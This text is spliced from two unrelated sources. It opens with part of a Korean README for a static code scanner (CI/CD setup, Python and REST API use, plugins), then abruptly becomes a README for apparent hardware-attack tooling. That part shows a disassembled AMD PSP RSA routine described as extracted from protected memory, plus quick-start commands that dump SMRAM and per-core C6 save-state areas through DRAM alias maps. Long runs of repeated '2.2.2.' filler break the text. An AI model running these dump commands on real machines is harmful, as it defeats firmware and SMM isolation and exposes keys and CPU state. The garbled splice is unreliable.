    cwe: CWE-798
    owasp: A07:2021
    remediation: "환경 변수 또는 시크릿 관리자를 사용하세요"

CI/CD 통합

GitHub Actions

name: CodeScan

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Install CodeScan
        run: pip install codescan

      - name: Run scan
        run: codescan scan . --format sarif --output results.sarif

      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: results.sarif

GitLab CI

codescan:
  stage: test
  image: python:3.11
  script:
    - pip install codescan
    - codescan scan . --format json --output results.json
  artifacts:
    reports:
      sast: results.json
    paths:
      - results.json
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == "main"

Jenkins

pipeline {
    agent any
    stages {
        stage('CodeScan') {
            steps {
                sh 'pip install codescan'
                sh 'codescan scan . --format sarif --output results.sarif'
            }
        }
    }
    post {
        always {
            recordIssues tools: [sarif(pattern: 'results.sarif')]
        }
    }
}

API 사용법

Python API

from codescan import Scanner, Config

# 구성으로 초기화
config = Config.from_file("codescan.yaml")
scanner = Scanner(config)

# 스캔 실행
results = scanner.scan("/path/to/project")

# 결과 처리
for finding in results.findings:
    print(f"[{finding.severity}] {finding.rule_id}: {finding.message}")
    print(f"  File: {finding.file_path}:{finding.line_number}")

# 보고서 생성
results.report("html", "report.html")
results.report("sarif", "results.sarif")

REST API

# 서버 시작
codescan serve --port 8080

# 스캔 시작
curl -X POST http://localhost:8080/api/v1/scans \
  -H "Content-Type: application/json" \
  -d '{"source": "/path/to/project", "analyzers": ["security", "dependencies"]}'

# 스캔 상태 확인
curl http://localhost:8080/api/v1/scans/{scan_id}

# 결과 가져오기
curl http://localhost:8080/api/v1/scans/{scan_id}/results

플러그인

사용자 정의 분석기

from codescan.plugins import Analyzer, Finding

class MyAnalyzer(Analyzer):
    name = "my-analyzer"
    description = "사용자 정의 분석기"

    def analyze(self, context):
        findings = []
        for file in context.files:
            if file.language == "python":
                # 사용자 정의 분석 로직
                if "eval(" in file.content:
                    findings.append(Finding(
                        rule_id="custom-eval",
                        message="eval() 사용이 감지되었습니다",
                        severity="high",
                        file_path=file.path,
                        line_number=file.find_line("eval("),
                    ))
        return findings

사용자 정의 보고서 생성기

from codescan.plugins import Reporter

class MyReporter(Reporter):
    name = "my-reporter"
    description = "사용자 정의 보고서 생성기"

    def generate(self, results, output_path):
        with open(output_path, "w") as f:
            f.write(f"총 발견 사항: {len(results.findings)}\n")
            for finding in results.findings:
                f.write(f"- {finding.rule_id}: {finding.message}\n")

기여하기

기여를 환영합니다! 자세한 내용은 CONTRIBUTING.md를 참조하세요.

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b feature/amazing-feature)
  3. 변경 사항을 커밋하세요 (git commit -m 'Add amazing feature')
  4. 브랜치에 푸시하세요 (git push origin feature/amazing-feature)
  5. Pull Request를 여세요

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

감사의 글

  • Semgrep - 영감을 준 정적 분석
  • Bandit - Python 보안 규칙
  • ESLint - JavaScript 분석 패턴
  • Trivy - 취약점 데이터베이스```armasm ; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact ; from the PSP's private DRAM. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-bit operand 7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; log error 7f801a2e: f001 e92a blx 0x7f802c84 ; export result 7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
PSP의 RSA 엔진 — 모든 fTPM 서명 뒤에 있는 modexp이자, 키를 생성하는 Miller-Rabin 테스트 뒤에 있는 그것 — 을 PSP가 단독으로 소유해야 하고, 메모리 컨트롤러에서 격리되며, ring-0에게도 불투명한 메모리에서 끌어냈다. 원하는 대로 수정하라.

---

## 빠른 시작: System Management Mode 잠금 해제

> *SMM이 숨기는 것을 읽어라.*

SMI 핸들러 진입 벡터는 `SMBASE + 0x8000`에 있다. `SMBASE`는 MSR `0xc0010111`에 있다. 이를 읽고, 별칭 맵을 통해 바이트를 가져와 디스어셈블러로 바로 파이프하라:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

sudo modprobe msr

# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

2.3.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.```nasm

; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

이 지침들은 CPU에서 가장 특권적인 컨텍스트인 ring -2에서 실행되며,
칩셋이 읽을 수 없도록 만들어야 하는 메모리 외부에서 동작한다. SMRAM "잠금"은
DRAM 컨트롤러와 직접 통신할 수 있을 때 정중한 제안에 불과하다는 것이 드러난다.

`2x4gb`를 설치된 DIMM과 일치하는 `data/maps/`의 접두사로 교체하라
(`sudo dmidecode -t memory`). 해당 토폴로지가 없다면
`analysis/gather_aliases.py`를 실행한 다음 `analysis/unspaghettify.py`를 실행하여
직접 만들어라.

---

## 빠른 시작: C6 DRAM 잠금 해제

> *여기에 무엇이 있는지 전혀 모르며 논의된 것도 본 적이 없다, 아마도
> 내부 CPU 레지스터일 것이다. 즐겨라.*

코어가 C6로 파워 게이팅될 때, 각 코어의 전체 x86 아키텍처 컨텍스트가
복원을 위해 여기에 저장된다.```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

4.3.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.